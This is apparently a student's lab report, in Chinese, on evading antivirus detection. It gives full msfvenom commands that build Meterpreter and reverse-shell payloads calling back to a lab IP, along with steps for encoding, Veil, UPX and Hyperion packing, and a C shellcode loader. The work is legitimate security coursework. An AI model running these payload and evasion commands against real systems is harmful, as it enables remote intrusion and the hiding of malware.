20232404 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

1.1具体内容

本周主要学习了恶意代码的检测原理和免杀技术实现方法,包括:

  • 理解杀毒软件的检测机制和免杀基本原理
  • 掌握Msfvenom、Veil等工具的使用方法
  • 尝试进行压缩加壳和加密加壳处理
  • 编写C语言加载器实现内存注入技术
  • 综合应用各种免杀技术规避杀软检测并建立回连

1.2回答问题

(1)杀软是如何检测出恶意代码的?

杀毒软件主要通过识别恶意代码的特征或异常行为来实现检测:

  1. 特征码检测原理:通过提取已知恶意代码的独特二进制片段建立特征库,扫描时进行匹配识别。
  2. 行为检测原理:监控程序运行行为,发现未授权的摄像头调用、远程反向连接等恶意特征时进行拦截。
  3. 启发式检测原理:基于恶意代码的共同逻辑建立规则,符合多条可疑规则即判定为潜在威胁。

(2)免杀是做什么?

免杀的目标是让恶意代码在杀软开启的环境中,既不被识别为威胁,又能正常执行核心功能。通过编码器修改payload特征码、重写代码逻辑或使用内存加载技术,使后门程序能够在本地杀软监控下顺利运行,并回连控制端。

(3)免杀的基本方法有哪些?

  1. 规避特征码检测:通过多次编码、重写代码逻辑破坏恶意特征片段
  2. 隐藏恶意行为:采用延迟执行、伪装正常行为、分段执行等技术
  3. 伪装载体与格式:更换文件格式、加壳压缩改变文件形态
  4. 内存加载:使用C+Shellcode内存加载、进程注入等技术避免文件检测

2.实验过程

2.1利用MSF编码器生成免杀payload

(1)只进行一次shikata_ga_nai编码,生成exe文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.29.134 LPORT=4444 -e x86/shikata_ga_nai -b '\x00' -f exe -o msf_encoded0.exe
命令中的-b '\x00'是为了排除空字节,防止payload失效。
image
将生成的msf_encoded0.exe程序通过winscp传回我的本机,并进行恶意文件检测。
检测网址:https://www.virscan.org
image
在另一恶意文件检测网站https://www.virustotal.com/
image
(2)用msfvenom进行5次shikata_ga_nai编码,生成 EXE文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.29.134 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b '\x00' -f exe -o msf_encoded.exe
image
-i 5表示指定编码迭代次数为5次,通过多次编码进一步混淆payload特征,降低被特征码检测到的概率。
进行恶意文件检测
image
在同一网站我又重新检测,还是12/48,比较稳定。
(3)用msfvenom进行20次shikata_ga_nai编码,生成EXE文件
image
进行恶意文件检测,最后一个检测的特别慢,大概检测了8分钟。
image
(4)用msfvenom进行1次shikata_ga_nai编码,生成jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.29.134 LPORT=4445 -f jar -o msf_java_backdoor.jar
命令中的-f jar是指定输出格式为Java归档文件Jar,因为Jar通常用于正常Java程序,可能降低杀软的扫描优先级。
image
再次进行恶意文件检测,通过对比可见,编码次数对于躲避恶意文件检测确实有一些作用,但微乎其微。
image
(5)用msfvenom进行生成10次编码的jar包
进行恶意文件检测
image

2.2使用Veil进行免杀处理

(1)安装veil
先进行更新,然后使用sudo apt -y install veil进行安装。
image
image
进入Veil主界面后,通过use evasion进入子界面,使用list列出所有支持的免杀模块。
image
(3)选取C语言反向TCP模块
设置IP与监听端口后,通过generate生成免杀文件。
image
image
进行恶意文件检测
image
image
2.3 使用加壳工具
(1)生成基于Python的Meterpreter反向TCP载荷。
因权限不足,我先为文件加权,再使用generate生成
image
image
进行UPX压缩处理。此命令中的-9是指定最高压缩级别,共有1-9个级别,压缩率越高,对特征码的隐藏效果可能越好。
image
寻找到hyperion所在的目录
image
把源程序通过cp移动过来
image
进行Hyperion加密加壳wine ./hyperion.exe -v ./veil_python_ecp_upx.exe ./veil_python_ecp_final.exe
image
进行恶意文件检测
image
image
(2)生成基于go的Meterpreter反向TCP载荷
进行压缩和加密加壳
image
image
进行恶意文件检测
image
可见添加壳后效果不佳,应该是各杀毒软件都已经记住了相应的特征码。

2.3使用C+Shellcode

生成Shellcode并保存为C数组格式
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.29.134 LPORT=4462 -f c -o shellcode.c
image
将生成的buf注入下文代码:
image
保存为shellcode_loader.c
使用Kali自带的交叉编译器i686-w64-mingw32-gcc将C代码编译成32位Windows可执行文件
image

2.4综合技术应用测试

对于之前使用c+shellcode方式生成的程序进行加压缩处理,并进行恶意文件检测,被发现的概率显著降低
image
进行加密加壳处理
image
进行恶意文件检测,被检测为木马的概率更高了。
image
关闭杀软,测试程序能否正确回连
image
开启杀软,但很可惜最终也没有实现免杀和杀软开启条件下的回连效果,被迅速查杀了。
image
我的360安全卫士是
image

3.问题及解决方案

  • 问题1:kali机上为了保护python环境,所以不允许我随意安装包
    • 解决方案:创建虚拟环境myenv,并重新安装,可以正确配置pycryptodome等库,这个本来是用于综合技术中的加密方式的,但是因为我那个程序尚需修改,没有写进博客里。
  • 问题2:Wine运行Hyperion不成功
    • 解决方案:找到Hyperion实际安装目录,使用正确路径执行加密命令
      image
  • 问题3:C+Shellcode程序无法建立回连
    • 解决方案:通过使用简单的payload进行测试,发现第一个问题是网络端口错误,但改正后仍不行,最后发现是代码涉及到权限的问题。
      image

4.学习感悟

在学习知识方面,这次实验让我对恶意代码的构成和防护有了更全面的认识,也让我深刻意识到现在的安全防护技术非常强。如今免杀技术百花齐放,而安全厂商也在不断更新检测算法,这种竞争无疑促进了双方的发展。即使我尝试了各种各样的措施,程序仍然会被360安全卫士检测到,被识别为木马甚至直接删除。我尝试使用AES加密Shellcode,并生成密钥和IV。但是即使关掉免杀也无法正确回连,而且在检测中更是出现了0/48的奇怪成绩,这足以说明我的程序内部有问题。时间所限,我未能继续改进,以后的实验我会尽早完成,给这种加强版调试留出时间。
在学习方法方面,我也掌握了kali机上的快捷键,感觉方便很多。而且对于较多分点的实验,一定要注意每张截图对应什么内容,否则在全部做完以后再查找就会非常麻烦。

5.参考资料

posted @ 2025-10-27 19:28  20232404  阅读(4)  评论(0)    收藏  举报